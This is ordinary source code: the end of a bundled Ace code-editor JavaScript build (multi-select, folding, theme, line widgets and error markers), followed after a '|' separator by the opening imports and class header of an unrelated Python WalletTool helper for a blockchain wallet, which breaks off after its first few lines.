if (this.inMultiSelectMode && !this.inVirtualSelectionMode) {
var ranges = this.multiSelect.rangeList.ranges;
var buf = [];
for (var i = 0; i < ranges.length; i++) {
buf.push(this.session.getTextRange(ranges[i]));
}
var nl = this.session.getDocument().getNewLineCharacter();
text = buf.join(nl);
if (text.length == (buf.length - 1) * nl.length)
text = "";
} else if (!this.selection.isEmpty()) {
text = this.session.getTextRange(this.getSelectionRange());
}
return text;
};
this.$checkMultiselectChange = function(e, anchor) {
if (this.inMultiSelectMode && !this.inVirtualSelectionMode) {
var range = this.multiSelect.ranges[0];
if (this.multiSelect.isEmpty() && anchor == this.multiSelect.anchor)
return;
var pos = anchor == this.multiSelect.anchor
? range.cursor == range.start ? range.end : range.start
: range.cursor;
if (pos.row != anchor.row
|| this.session.$clipPositionToDocument(pos.row, pos.column).column != anchor.column)
this.multiSelect.toSingleRange(this.multiSelect.toOrientedRange());
}
};
this.findAll = function(needle, options, additive) {
options = options || {};
options.needle = needle || options.needle;
if (options.needle == undefined) {
var range = this.selection.isEmpty()
? this.selection.getWordRange()
: this.selection.getRange();
options.needle = this.session.getTextRange(range);
}
this.$search.set(options);
var ranges = this.$search.findAll(this.session);
if (!ranges.length)
return 0;
this.$blockScrolling += 1;
var selection = this.multiSelect;
if (!additive)
selection.toSingleRange(ranges[0]);
for (var i = ranges.length; i--; )
selection.addRange(ranges[i], true);
if (range && selection.rangeList.rangeAtPoint(range.start))
selection.addRange(range, true);
this.$blockScrolling -= 1;
return ranges.length;
};
this.selectMoreLines = function(dir, skip) {
var range = this.selection.toOrientedRange();
var isBackwards = range.cursor == range.end;
var screenLead = this.session.documentToScreenPosition(range.cursor);
if (this.selection.$desiredColumn)
screenLead.column = this.selection.$desiredColumn;
var lead = this.session.screenToDocumentPosition(screenLead.row + dir, screenLead.column);
if (!range.isEmpty()) {
var screenAnchor = this.session.documentToScreenPosition(isBackwards ? range.end : range.start);
var anchor = this.session.screenToDocumentPosition(screenAnchor.row + dir, screenAnchor.column);
} else {
var anchor = lead;
}
if (isBackwards) {
var newRange = Range.fromPoints(lead, anchor);
newRange.cursor = newRange.start;
} else {
var newRange = Range.fromPoints(anchor, lead);
newRange.cursor = newRange.end;
}
newRange.desiredColumn = screenLead.column;
if (!this.selection.inMultiSelectMode) {
this.selection.addRange(range);
} else {
if (skip)
var toRemove = range.cursor;
}
this.selection.addRange(newRange);
if (toRemove)
this.selection.substractPoint(toRemove);
};
this.transposeSelections = function(dir) {
var session = this.session;
var sel = session.multiSelect;
var all = sel.ranges;
for (var i = all.length; i--; ) {
var range = all[i];
if (range.isEmpty()) {
var tmp = session.getWordRange(range.start.row, range.start.column);
range.start.row = tmp.start.row;
range.start.column = tmp.start.column;
range.end.row = tmp.end.row;
range.end.column = tmp.end.column;
}
}
sel.mergeOverlappingRanges();
var words = [];
for (var i = all.length; i--; ) {
var range = all[i];
words.unshift(session.getTextRange(range));
}
if (dir < 0)
words.unshift(words.pop());
else
words.push(words.shift());
for (var i = all.length; i--; ) {
var range = all[i];
var tmp = range.clone();
session.replace(range, words[i]);
range.start.row = tmp.start.row;
range.start.column = tmp.start.column;
}
};
this.selectMore = function(dir, skip, stopAtFirst) {
var session = this.session;
var sel = session.multiSelect;
var range = sel.toOrientedRange();
if (range.isEmpty()) {
range = session.getWordRange(range.start.row, range.start.column);
range.cursor = dir == -1 ? range.start : range.end;
this.multiSelect.addRange(range);
if (stopAtFirst)
return;
}
var needle = session.getTextRange(range);
var newRange = find(session, needle, dir);
if (newRange) {
newRange.cursor = dir == -1 ? newRange.start : newRange.end;
this.$blockScrolling += 1;
this.session.unfold(newRange);
this.multiSelect.addRange(newRange);
this.$blockScrolling -= 1;
this.renderer.scrollCursorIntoView(null, 0.5);
}
if (skip)
this.multiSelect.substractPoint(range.cursor);
};
this.alignCursors = function() {
var session = this.session;
var sel = session.multiSelect;
var ranges = sel.ranges;
var row = -1;
var sameRowRanges = ranges.filter(function(r) {
if (r.cursor.row == row)
return true;
row = r.cursor.row;
});
if (!ranges.length || sameRowRanges.length == ranges.length - 1) {
var range = this.selection.getRange();
var fr = range.start.row, lr = range.end.row;
var guessRange = fr == lr;
if (guessRange) {
var max = this.session.getLength();
var line;
do {
line = this.session.getLine(lr);
} while (/[=:]/.test(line) && ++lr < max);
do {
line = this.session.getLine(fr);
} while (/[=:]/.test(line) && --fr > 0);
if (fr < 0) fr = 0;
if (lr >= max) lr = max - 1;
}
var lines = this.session.removeFullLines(fr, lr);
lines = this.$reAlignText(lines, guessRange);
this.session.insert({row: fr, column: 0}, lines.join("\n") + "\n");
if (!guessRange) {
range.start.column = 0;
range.end.column = lines[lines.length - 1].length;
}
this.selection.setRange(range);
} else {
sameRowRanges.forEach(function(r) {
sel.substractPoint(r.cursor);
});
var maxCol = 0;
var minSpace = Infinity;
var spaceOffsets = ranges.map(function(r) {
var p = r.cursor;
var line = session.getLine(p.row);
var spaceOffset = line.substr(p.column).search(/\S/g);
if (spaceOffset == -1)
spaceOffset = 0;
if (p.column > maxCol)
maxCol = p.column;
if (spaceOffset < minSpace)
minSpace = spaceOffset;
return spaceOffset;
});
ranges.forEach(function(r, i) {
var p = r.cursor;
var l = maxCol - p.column;
var d = spaceOffsets[i] - minSpace;
if (l > d)
session.insert(p, lang.stringRepeat(" ", l - d));
else
session.remove(new Range(p.row, p.column, p.row, p.column - l + d));
r.start.column = r.end.column = maxCol;
r.start.row = r.end.row = p.row;
r.cursor = r.end;
});
sel.fromOrientedRange(ranges[0]);
this.renderer.updateCursor();
this.renderer.updateBackMarkers();
}
};
this.$reAlignText = function(lines, forceLeft) {
var isLeftAligned = true, isRightAligned = true;
var startW, textW, endW;
return lines.map(function(line) {
var m = line.match(/(\s*)(.*?)(\s*)([=:].*)/);
if (!m)
return [line];
if (startW == null) {
startW = m[1].length;
textW = m[2].length;
endW = m[3].length;
return m;
}
if (startW + textW + endW != m[1].length + m[2].length + m[3].length)
isRightAligned = false;
if (startW != m[1].length)
isLeftAligned = false;
if (startW > m[1].length)
startW = m[1].length;
if (textW < m[2].length)
textW = m[2].length;
if (endW > m[3].length)
endW = m[3].length;
return m;
}).map(forceLeft ? alignLeft :
isLeftAligned ? isRightAligned ? alignRight : alignLeft : unAlign);
function spaces(n) {
return lang.stringRepeat(" ", n);
}
function alignLeft(m) {
return !m[2] ? m[0] : spaces(startW) + m[2]
+ spaces(textW - m[2].length + endW)
+ m[4].replace(/^([=:])\s+/, "$1 ");
}
function alignRight(m) {
return !m[2] ? m[0] : spaces(startW + textW - m[2].length) + m[2]
+ spaces(endW, " ")
+ m[4].replace(/^([=:])\s+/, "$1 ");
}
function unAlign(m) {
return !m[2] ? m[0] : spaces(startW) + m[2]
+ spaces(endW)
+ m[4].replace(/^([=:])\s+/, "$1 ");
}
};
}).call(Editor.prototype);
function isSamePoint(p1, p2) {
return p1.row == p2.row && p1.column == p2.column;
}
exports.onSessionChange = function(e) {
var session = e.session;
if (session && !session.multiSelect) {
session.$selectionMarkers = [];
session.selection.$initRangeList();
session.multiSelect = session.selection;
}
this.multiSelect = session && session.multiSelect;
var oldSession = e.oldSession;
if (oldSession) {
oldSession.multiSelect.off("addRange", this.$onAddRange);
oldSession.multiSelect.off("removeRange", this.$onRemoveRange);
oldSession.multiSelect.off("multiSelect", this.$onMultiSelect);
oldSession.multiSelect.off("singleSelect", this.$onSingleSelect);
oldSession.multiSelect.lead.off("change", this.$checkMultiselectChange);
oldSession.multiSelect.anchor.off("change", this.$checkMultiselectChange);
}
if (session) {
session.multiSelect.on("addRange", this.$onAddRange);
session.multiSelect.on("removeRange", this.$onRemoveRange);
session.multiSelect.on("multiSelect", this.$onMultiSelect);
session.multiSelect.on("singleSelect", this.$onSingleSelect);
session.multiSelect.lead.on("change", this.$checkMultiselectChange);
session.multiSelect.anchor.on("change", this.$checkMultiselectChange);
}
if (session && this.inMultiSelectMode != session.selection.inMultiSelectMode) {
if (session.selection.inMultiSelectMode)
this.$onMultiSelect();
else
this.$onSingleSelect();
}
};
function MultiSelect(editor) {
if (editor.$multiselectOnSessionChange)
return;
editor.$onAddRange = editor.$onAddRange.bind(editor);
editor.$onRemoveRange = editor.$onRemoveRange.bind(editor);
editor.$onMultiSelect = editor.$onMultiSelect.bind(editor);
editor.$onSingleSelect = editor.$onSingleSelect.bind(editor);
editor.$multiselectOnSessionChange = exports.onSessionChange.bind(editor);
editor.$checkMultiselectChange = editor.$checkMultiselectChange.bind(editor);
editor.$multiselectOnSessionChange(editor);
editor.on("changeSession", editor.$multiselectOnSessionChange);
editor.on("mousedown", onMouseDown);
editor.commands.addCommands(commands.defaultCommands);
addAltCursorListeners(editor);
}
function addAltCursorListeners(editor){
var el = editor.textInput.getElement();
var altCursor = false;
event.addListener(el, "keydown", function(e) {
var altDown = e.keyCode == 18 && !(e.ctrlKey || e.shiftKey || e.metaKey);
if (editor.$blockSelectEnabled && altDown) {
if (!altCursor) {
editor.renderer.setMouseCursor("crosshair");
altCursor = true;
}
} else if (altCursor) {
reset();
}
});
event.addListener(el, "keyup", reset);
event.addListener(el, "blur", reset);
function reset(e) {
if (altCursor) {
editor.renderer.setMouseCursor("");
altCursor = false;
}
}
}
exports.MultiSelect = MultiSelect;
require("./config").defineOptions(Editor.prototype, "editor", {
enableMultiselect: {
set: function(val) {
MultiSelect(this);
if (val) {
this.on("changeSession", this.$multiselectOnSessionChange);
this.on("mousedown", onMouseDown);
} else {
this.off("changeSession", this.$multiselectOnSessionChange);
this.off("mousedown", onMouseDown);
}
},
value: true
},
enableBlockSelect: {
set: function(val) {
this.$blockSelectEnabled = val;
},
value: true
}
});
});
ace.define("ace/mode/folding/fold_mode",["require","exports","module","ace/range"], function(require, exports, module) {
"use strict";
var Range = require("../../range").Range;
var FoldMode = exports.FoldMode = function() {};
(function() {
this.foldingStartMarker = null;
this.foldingStopMarker = null;
this.getFoldWidget = function(session, foldStyle, row) {
var line = session.getLine(row);
if (this.foldingStartMarker.test(line))
return "start";
if (foldStyle == "markbeginend"
&& this.foldingStopMarker
&& this.foldingStopMarker.test(line))
return "end";
return "";
};
this.getFoldWidgetRange = function(session, foldStyle, row) {
return null;
};
this.indentationBlock = function(session, row, column) {
var re = /\S/;
var line = session.getLine(row);
var startLevel = line.search(re);
if (startLevel == -1)
return;
var startColumn = column || line.length;
var maxRow = session.getLength();
var startRow = row;
var endRow = row;
while (++row < maxRow) {
var level = session.getLine(row).search(re);
if (level == -1)
continue;
if (level <= startLevel)
break;
endRow = row;
}
if (endRow > startRow) {
var endColumn = session.getLine(endRow).length;
return new Range(startRow, startColumn, endRow, endColumn);
}
};
this.openingBracketBlock = function(session, bracket, row, column, typeRe) {
var start = {row: row, column: column + 1};
var end = session.$findClosingBracket(bracket, start, typeRe);
if (!end)
return;
var fw = session.foldWidgets[end.row];
if (fw == null)
fw = session.getFoldWidget(end.row);
if (fw == "start" && end.row > start.row) {
end.row --;
end.column = session.getLine(end.row).length;
}
return Range.fromPoints(start, end);
};
this.closingBracketBlock = function(session, bracket, row, column, typeRe) {
var end = {row: row, column: column};
var start = session.$findOpeningBracket(bracket, end);
if (!start)
return;
start.column++;
end.column--;
return Range.fromPoints(start, end);
};
}).call(FoldMode.prototype);
});
ace.define("ace/theme/textmate",["require","exports","module","ace/lib/dom"], function(require, exports, module) {
"use strict";
exports.isDark = false;
exports.cssClass = "ace-tm";
exports.cssText = ".ace-tm .ace_gutter {\
background: #f0f0f0;\
color: #333;\
}\
.ace-tm .ace_print-margin {\
width: 1px;\
background: #e8e8e8;\
}\
.ace-tm .ace_fold {\
background-color: #6B72E6;\
}\
.ace-tm {\
background-color: #FFFFFF;\
color: black;\
}\
.ace-tm .ace_cursor {\
color: black;\
}\
.ace-tm .ace_invisible {\
color: rgb(191, 191, 191);\
}\
.ace-tm .ace_storage,\
.ace-tm .ace_keyword {\
color: blue;\
}\
.ace-tm .ace_constant {\
color: rgb(197, 6, 11);\
}\
.ace-tm .ace_constant.ace_buildin {\
color: rgb(88, 72, 246);\
}\
.ace-tm .ace_constant.ace_language {\
color: rgb(88, 92, 246);\
}\
.ace-tm .ace_constant.ace_library {\
color: rgb(6, 150, 14);\
}\
.ace-tm .ace_invalid {\
background-color: rgba(255, 0, 0, 0.1);\
color: red;\
}\
.ace-tm .ace_support.ace_function {\
color: rgb(60, 76, 114);\
}\
.ace-tm .ace_support.ace_constant {\
color: rgb(6, 150, 14);\
}\
.ace-tm .ace_support.ace_type,\
.ace-tm .ace_support.ace_class {\
color: rgb(109, 121, 222);\
}\
.ace-tm .ace_keyword.ace_operator {\
color: rgb(104, 118, 135);\
}\
.ace-tm .ace_string {\
color: rgb(3, 106, 7);\
}\
.ace-tm .ace_comment {\
color: rgb(76, 136, 107);\
}\
.ace-tm .ace_comment.ace_doc {\
color: rgb(0, 102, 255);\
}\
.ace-tm .ace_comment.ace_doc.ace_tag {\
color: rgb(128, 159, 191);\
}\
.ace-tm .ace_constant.ace_numeric {\
color: rgb(0, 0, 205);\
}\
.ace-tm .ace_variable {\
color: rgb(49, 132, 149);\
}\
.ace-tm .ace_xml-pe {\
color: rgb(104, 104, 91);\
}\
.ace-tm .ace_entity.ace_name.ace_function {\
color: #0000A2;\
}\
.ace-tm .ace_heading {\
color: rgb(12, 7, 255);\
}\
.ace-tm .ace_list {\
color:rgb(185, 6, 144);\
}\
.ace-tm .ace_meta.ace_tag {\
color:rgb(0, 22, 142);\
}\
.ace-tm .ace_string.ace_regex {\
color: rgb(255, 0, 0)\
}\
.ace-tm .ace_marker-layer .ace_selection {\
background: rgb(181, 213, 255);\
}\
.ace-tm.ace_multiselect .ace_selection.ace_start {\
box-shadow: 0 0 3px 0px white;\
}\
.ace-tm .ace_marker-layer .ace_step {\
background: rgb(252, 255, 0);\
}\
.ace-tm .ace_marker-layer .ace_stack {\
background: rgb(164, 229, 101);\
}\
.ace-tm .ace_marker-layer .ace_bracket {\
margin: -1px 0 0 -1px;\
border: 1px solid rgb(192, 192, 192);\
}\
.ace-tm .ace_marker-layer .ace_active-line {\
background: rgba(0, 0, 0, 0.07);\
}\
.ace-tm .ace_gutter-active-line {\
background-color : #dcdcdc;\
}\
.ace-tm .ace_marker-layer .ace_selected-word {\
background: rgb(250, 250, 255);\
border: 1px solid rgb(200, 200, 250);\
}\
.ace-tm .ace_indent-guide {\
background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y;\
}\
";
var dom = require("../lib/dom");
dom.importCssString(exports.cssText, exports.cssClass);
});
ace.define("ace/line_widgets",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/range"], function(require, exports, module) {
"use strict";
var oop = require("./lib/oop");
var dom = require("./lib/dom");
var Range = require("./range").Range;
function LineWidgets(session) {
this.session = session;
this.session.widgetManager = this;
this.session.getRowLength = this.getRowLength;
this.session.$getWidgetScreenLength = this.$getWidgetScreenLength;
this.updateOnChange = this.updateOnChange.bind(this);
this.renderWidgets = this.renderWidgets.bind(this);
this.measureWidgets = this.measureWidgets.bind(this);
this.session._changedWidgets = [];
this.$onChangeEditor = this.$onChangeEditor.bind(this);
this.session.on("change", this.updateOnChange);
this.session.on("changeFold", this.updateOnFold);
this.session.on("changeEditor", this.$onChangeEditor);
}
(function() {
this.getRowLength = function(row) {
var h;
if (this.lineWidgets)
h = this.lineWidgets[row] && this.lineWidgets[row].rowCount || 0;
else
h = 0;
if (!this.$useWrapMode || !this.$wrapData[row]) {
return 1 + h;
} else {
return this.$wrapData[row].length + 1 + h;
}
};
this.$getWidgetScreenLength = function() {
var screenRows = 0;
this.lineWidgets.forEach(function(w){
if (w && w.rowCount && !w.hidden)
screenRows += w.rowCount;
});
return screenRows;
};
this.$onChangeEditor = function(e) {
this.attach(e.editor);
};
this.attach = function(editor) {
if (editor && editor.widgetManager && editor.widgetManager != this)
editor.widgetManager.detach();
if (this.editor == editor)
return;
this.detach();
this.editor = editor;
if (editor) {
editor.widgetManager = this;
editor.renderer.on("beforeRender", this.measureWidgets);
editor.renderer.on("afterRender", this.renderWidgets);
}
};
this.detach = function(e) {
var editor = this.editor;
if (!editor)
return;
this.editor = null;
editor.widgetManager = null;
editor.renderer.off("beforeRender", this.measureWidgets);
editor.renderer.off("afterRender", this.renderWidgets);
var lineWidgets = this.session.lineWidgets;
lineWidgets && lineWidgets.forEach(function(w) {
if (w && w.el && w.el.parentNode) {
w._inDocument = false;
w.el.parentNode.removeChild(w.el);
}
});
};
this.updateOnFold = function(e, session) {
var lineWidgets = session.lineWidgets;
if (!lineWidgets || !e.action)
return;
var fold = e.data;
var start = fold.start.row;
var end = fold.end.row;
var hide = e.action == "add";
for (var i = start + 1; i < end; i++) {
if (lineWidgets[i])
lineWidgets[i].hidden = hide;
}
if (lineWidgets[end]) {
if (hide) {
if (!lineWidgets[start])
lineWidgets[start] = lineWidgets[end];
else
lineWidgets[end].hidden = hide;
} else {
if (lineWidgets[start] == lineWidgets[end])
lineWidgets[start] = undefined;
lineWidgets[end].hidden = hide;
}
}
};
this.updateOnChange = function(delta) {
var lineWidgets = this.session.lineWidgets;
if (!lineWidgets) return;
var startRow = delta.start.row;
var len = delta.end.row - startRow;
if (len === 0) {
} else if (delta.action == 'remove') {
var removed = lineWidgets.splice(startRow + 1, len);
removed.forEach(function(w) {
w && this.removeLineWidget(w);
}, this);
this.$updateRows();
} else {
var args = new Array(len);
args.unshift(startRow, 0);
lineWidgets.splice.apply(lineWidgets, args);
this.$updateRows();
}
};
this.$updateRows = function() {
var lineWidgets = this.session.lineWidgets;
if (!lineWidgets) return;
var noWidgets = true;
lineWidgets.forEach(function(w, i) {
if (w) {
noWidgets = false;
w.row = i;
while (w.$oldWidget) {
w.$oldWidget.row = i;
w = w.$oldWidget;
}
}
});
if (noWidgets)
this.session.lineWidgets = null;
};
this.addLineWidget = function(w) {
if (!this.session.lineWidgets)
this.session.lineWidgets = new Array(this.session.getLength());
var old = this.session.lineWidgets[w.row];
if (old) {
w.$oldWidget = old;
if (old.el && old.el.parentNode) {
old.el.parentNode.removeChild(old.el);
old._inDocument = false;
}
}
this.session.lineWidgets[w.row] = w;
w.session = this.session;
var renderer = this.editor.renderer;
if (w.html && !w.el) {
w.el = dom.createElement("div");
w.el.innerHTML = w.html;
}
if (w.el) {
dom.addCssClass(w.el, "ace_lineWidgetContainer");
w.el.style.position = "absolute";
w.el.style.zIndex = 5;
renderer.container.appendChild(w.el);
w._inDocument = true;
}
if (!w.coverGutter) {
w.el.style.zIndex = 3;
}
if (w.pixelHeight == null) {
w.pixelHeight = w.el.offsetHeight;
}
if (w.rowCount == null) {
w.rowCount = w.pixelHeight / renderer.layerConfig.lineHeight;
}
var fold = this.session.getFoldAt(w.row, 0);
w.$fold = fold;
if (fold) {
var lineWidgets = this.session.lineWidgets;
if (w.row == fold.end.row && !lineWidgets[fold.start.row])
lineWidgets[fold.start.row] = w;
else
w.hidden = true;
}
this.session._emit("changeFold", {data:{start:{row: w.row}}});
this.$updateRows();
this.renderWidgets(null, renderer);
this.onWidgetChanged(w);
return w;
};
this.removeLineWidget = function(w) {
w._inDocument = false;
w.session = null;
if (w.el && w.el.parentNode)
w.el.parentNode.removeChild(w.el);
if (w.editor && w.editor.destroy) try {
w.editor.destroy();
} catch(e){}
if (this.session.lineWidgets) {
var w1 = this.session.lineWidgets[w.row];
if (w1 == w) {
this.session.lineWidgets[w.row] = w.$oldWidget;
if (w.$oldWidget)
this.onWidgetChanged(w.$oldWidget);
} else {
while (w1) {
if (w1.$oldWidget == w) {
w1.$oldWidget = w.$oldWidget;
break;
}
w1 = w1.$oldWidget;
}
}
}
this.session._emit("changeFold", {data:{start:{row: w.row}}});
this.$updateRows();
};
this.getWidgetsAtRow = function(row) {
var lineWidgets = this.session.lineWidgets;
var w = lineWidgets && lineWidgets[row];
var list = [];
while (w) {
list.push(w);
w = w.$oldWidget;
}
return list;
};
this.onWidgetChanged = function(w) {
this.session._changedWidgets.push(w);
this.editor && this.editor.renderer.updateFull();
};
this.measureWidgets = function(e, renderer) {
var changedWidgets = this.session._changedWidgets;
var config = renderer.layerConfig;
if (!changedWidgets || !changedWidgets.length) return;
var min = Infinity;
for (var i = 0; i < changedWidgets.length; i++) {
var w = changedWidgets[i];
if (!w || !w.el) continue;
if (w.session != this.session) continue;
if (!w._inDocument) {
if (this.session.lineWidgets[w.row] != w)
continue;
w._inDocument = true;
renderer.container.appendChild(w.el);
}
w.h = w.el.offsetHeight;
if (!w.fixedWidth) {
w.w = w.el.offsetWidth;
w.screenWidth = Math.ceil(w.w / config.characterWidth);
}
var rowCount = w.h / config.lineHeight;
if (w.coverLine) {
rowCount -= this.session.getRowLineCount(w.row);
if (rowCount < 0)
rowCount = 0;
}
if (w.rowCount != rowCount) {
w.rowCount = rowCount;
if (w.row < min)
min = w.row;
}
}
if (min != Infinity) {
this.session._emit("changeFold", {data:{start:{row: min}}});
this.session.lineWidgetWidth = null;
}
this.session._changedWidgets = [];
};
this.renderWidgets = function(e, renderer) {
var config = renderer.layerConfig;
var lineWidgets = this.session.lineWidgets;
if (!lineWidgets)
return;
var first = Math.min(this.firstRow, config.firstRow);
var last = Math.max(this.lastRow, config.lastRow, lineWidgets.length);
while (first > 0 && !lineWidgets[first])
first--;
this.firstRow = config.firstRow;
this.lastRow = config.lastRow;
renderer.$cursorLayer.config = config;
for (var i = first; i <= last; i++) {
var w = lineWidgets[i];
if (!w || !w.el) continue;
if (w.hidden) {
w.el.style.top = -100 - (w.pixelHeight || 0) + "px";
continue;
}
if (!w._inDocument) {
w._inDocument = true;
renderer.container.appendChild(w.el);
}
var top = renderer.$cursorLayer.getPixelPosition({row: i, column:0}, true).top;
if (!w.coverLine)
top += config.lineHeight * this.session.getRowLineCount(w.row);
w.el.style.top = top - config.offset + "px";
var left = w.coverGutter ? 0 : renderer.gutterWidth;
if (!w.fixedWidth)
left -= renderer.scrollLeft;
w.el.style.left = left + "px";
if (w.fullWidth && w.screenWidth) {
w.el.style.minWidth = config.width + 2 * config.padding + "px";
}
if (w.fixedWidth) {
w.el.style.right = renderer.scrollBar.getWidth() + "px";
} else {
w.el.style.right = "";
}
}
};
}).call(LineWidgets.prototype);
exports.LineWidgets = LineWidgets;
});
ace.define("ace/ext/error_marker",["require","exports","module","ace/line_widgets","ace/lib/dom","ace/range"], function(require, exports, module) {
"use strict";
var LineWidgets = require("../line_widgets").LineWidgets;
var dom = require("../lib/dom");
var Range = require("../range").Range;
function binarySearch(array, needle, comparator) {
var first = 0;
var last = array.length - 1;
while (first <= last) {
var mid = (first + last) >> 1;
var c = comparator(needle, array[mid]);
if (c > 0)
first = mid + 1;
else if (c < 0)
last = mid - 1;
else
return mid;
}
return -(first + 1);
}
function findAnnotations(session, row, dir) {
var annotations = session.getAnnotations().sort(Range.comparePoints);
if (!annotations.length)
return;
var i = binarySearch(annotations, {row: row, column: -1}, Range.comparePoints);
if (i < 0)
i = -i - 1;
if (i >= annotations.length)
i = dir > 0 ? 0 : annotations.length - 1;
else if (i === 0 && dir < 0)
i = annotations.length - 1;
var annotation = annotations[i];
if (!annotation || !dir)
return;
if (annotation.row === row) {
do {
annotation = annotations[i += dir];
} while (annotation && annotation.row === row);
if (!annotation)
return annotations.slice();
}
var matched = [];
row = annotation.row;
do {
matched[dir < 0 ? "unshift" : "push"](annotation);
annotation = annotations[i += dir];
} while (annotation && annotation.row == row);
return matched.length && matched;
}
exports.showErrorMarker = function(editor, dir) {
var session = editor.session;
if (!session.widgetManager) {
session.widgetManager = new LineWidgets(session);
session.widgetManager.attach(editor);
}
var pos = editor.getCursorPosition();
var row = pos.row;
var oldWidget = session.widgetManager.getWidgetsAtRow(row).filter(function(w) {
return w.type == "errorMarker";
})[0];
if (oldWidget) {
oldWidget.destroy();
} else {
row -= dir;
}
var annotations = findAnnotations(session, row, dir);
var gutterAnno;
if (annotations) {
var annotation = annotations[0];
pos.column = (annotation.pos && typeof annotation.column != "number"
? annotation.pos.sc
: annotation.column) || 0;
pos.row = annotation.row;
gutterAnno = editor.renderer.$gutterLayer.$annotations[pos.row];
} else if (oldWidget) {
return;
} else {
gutterAnno = {
text: ["Looks good!"],
className: "ace_ok"
};
}
editor.session.unfold(pos.row);
editor.selection.moveToPosition(pos);
var w = {
row: pos.row,
fixedWidth: true,
coverGutter: true,
el: dom.createElement("div"),
type: "errorMarker"
};
var el = w.el.appendChild(dom.createElement("div"));
var arrow = w.el.appendChild(dom.createElement("div"));
arrow.className = "error_widget_arrow " + gutterAnno.className;
var left = editor.renderer.$cursorLayer
.getPixelPosition(pos).left;
arrow.style.left = left + editor.renderer.gutterWidth - 5 + "px";
w.el.className = "error_widget_wrapper";
el.className = "error_widget " + gutterAnno.className;
el.innerHTML = gutterAnno.text.join("<br>");
el.appendChild(dom.createElement("div"));
var kb = function(_, hashId, keyString) {
if (hashId === 0 && (keyString === "esc" || keyString === "return")) {
w.destroy();
return {command: "null"};
}
};
w.destroy = function() {
if (editor.$mouseHandler.isMousePressed)
return;
editor.keyBinding.removeKeyboardHandler(kb);
session.widgetManager.removeLineWidget(w);
editor.off("changeSelection", w.destroy);
editor.off("changeSession", w.destroy);
editor.off("mouseup", w.destroy);
editor.off("change", w.destroy);
};
editor.keyBinding.addKeyboardHandler(kb);
editor.on("changeSelection", w.destroy);
editor.on("changeSession", w.destroy);
editor.on("mouseup", w.destroy);
editor.on("change", w.destroy);
editor.session.widgetManager.addLineWidget(w);
w.el.onmousedown = editor.focus.bind(editor);
editor.renderer.scrollCursorIntoView(null, 0.5, {bottom: w.el.offsetHeight});
};
dom.importCssString("\
.error_widget_wrapper {\
background: inherit;\
color: inherit;\
border:none\
}\
.error_widget {\
border-top: solid 2px;\
border-bottom: solid 2px;\
margin: 5px 0;\
padding: 10px 40px;\
white-space: pre-wrap;\
}\
.error_widget.ace_error, .error_widget_arrow.ace_error{\
border-color: #ff5a5a\
}\
.error_widget.ace_warning, .error_widget_arrow.ace_warning{\
border-color: #F1D817\
}\
.error_widget.ace_info, .error_widget_arrow.ace_info{\
border-color: #5a5a5a\
}\
.error_widget.ace_ok, .error_widget_arrow.ace_ok{\
border-color: #5aaa5a\
}\
.error_widget_arrow {\
position: absolute;\
border: solid 5px;\
border-top-color: transparent!important;\
border-right-color: transparent!important;\
border-left-color: transparent!important;\
top: -5px;\
}\
", "");
});
ace.define("ace/ace",["require","exports","module","ace/lib/fixoldbrowsers","ace/lib/dom","ace/lib/event","ace/editor","ace/edit_session","ace/undomanager","ace/virtual_renderer","ace/worker/worker_client","ace/keyboard/hash_handler","ace/placeholder","ace/multi_select","ace/mode/folding/fold_mode","ace/theme/textmate","ace/ext/error_marker","ace/config"], function(require, exports, module) {
"use strict";
require("./lib/fixoldbrowsers");
var dom = require("./lib/dom");
var event = require("./lib/event");
var Editor = require("./editor").Editor;
var EditSession = require("./edit_session").EditSession;
var UndoManager = require("./undomanager").UndoManager;
var Renderer = require("./virtual_renderer").VirtualRenderer;
require("./worker/worker_client");
require("./keyboard/hash_handler");
require("./placeholder");
require("./multi_select");
require("./mode/folding/fold_mode");
require("./theme/textmate");
require("./ext/error_marker");
exports.config = require("./config");
exports.require = require;
if (typeof define === "function")
exports.define = define;
exports.edit = function(el) {
if (typeof el == "string") {
var _id = el;
el = document.getElementById(_id);
if (!el)
throw new Error("ace.edit can't find div #" + _id);
}
if (el && el.env && el.env.editor instanceof Editor)
return el.env.editor;
var value = "";
if (el && /input|textarea/i.test(el.tagName)) {
var oldNode = el;
value = oldNode.value;
el = dom.createElement("pre");
oldNode.parentNode.replaceChild(el, oldNode);
} else if (el) {
value = dom.getInnerText(el);
el.innerHTML = "";
}
var doc = exports.createEditSession(value);
var editor = new Editor(new Renderer(el));
editor.setSession(doc);
var env = {
document: doc,
editor: editor,
onResize: editor.resize.bind(editor, null)
};
if (oldNode) env.textarea = oldNode;
event.addListener(window, "resize", env.onResize);
editor.on("destroy", function() {
event.removeListener(window, "resize", env.onResize);
env.editor.container.env = null; // prevent memory leak on old ie
});
editor.container.env = editor.env = env;
return editor;
};
exports.createEditSession = function(text, mode) {
var doc = new EditSession(text, mode);
doc.setUndoManager(new UndoManager());
return doc;
};
exports.EditSession = EditSession;
exports.UndoManager = UndoManager;
exports.version = "1.2.9";
});
(function() {
ace.require(["ace/ace"], function(a) {
if (a) {
a.config.init(true);
a.define = ace.define;
}
if (!window.ace)
window.ace = a;
for (var key in a) if (a.hasOwnProperty(key))
window.ace[key] = a[key];
});
})();
|
from typing import List, Optional, Dict
from blspy import PrivateKey, AugSchemeMPL, G2Element
from src.types.condition_var_pair import ConditionVarPair
from src.types.condition_opcodes import ConditionOpcode
from src.types.program import Program
from src.types.coin import Coin
from src.types.coin_solution import CoinSolution
from src.types.spend_bundle import SpendBundle
from src.util.clvm import int_to_bytes, int_from_bytes
from src.util.condition_tools import (
conditions_by_opcode,
pkm_pairs_for_conditions_dict,
conditions_for_solution,
)
from src.util.ints import uint32, uint64
from src.wallet.puzzles.p2_delegated_puzzle import (
puzzle_for_pk,
solution_for_conditions,
)
from src.wallet.puzzles.puzzle_utils import (
make_assert_coin_consumed_condition,
make_assert_my_coin_id_condition,
make_create_coin_condition,
make_assert_block_index_exceeds_condition,
make_assert_block_age_exceeds_condition,
make_assert_aggsig_condition,
make_assert_time_exceeds_condition,
make_assert_fee_condition,
)
from src.wallet.derive_keys import master_sk_to_wallet_sk
from src.types.sized_bytes import bytes32
DEFAULT_SEED = b"seed" * 8
assert len(DEFAULT_SEED) == 32
class WalletTool:
next_address = 0
pubkey_num_lookup: Dict[bytes, uint32] = {}
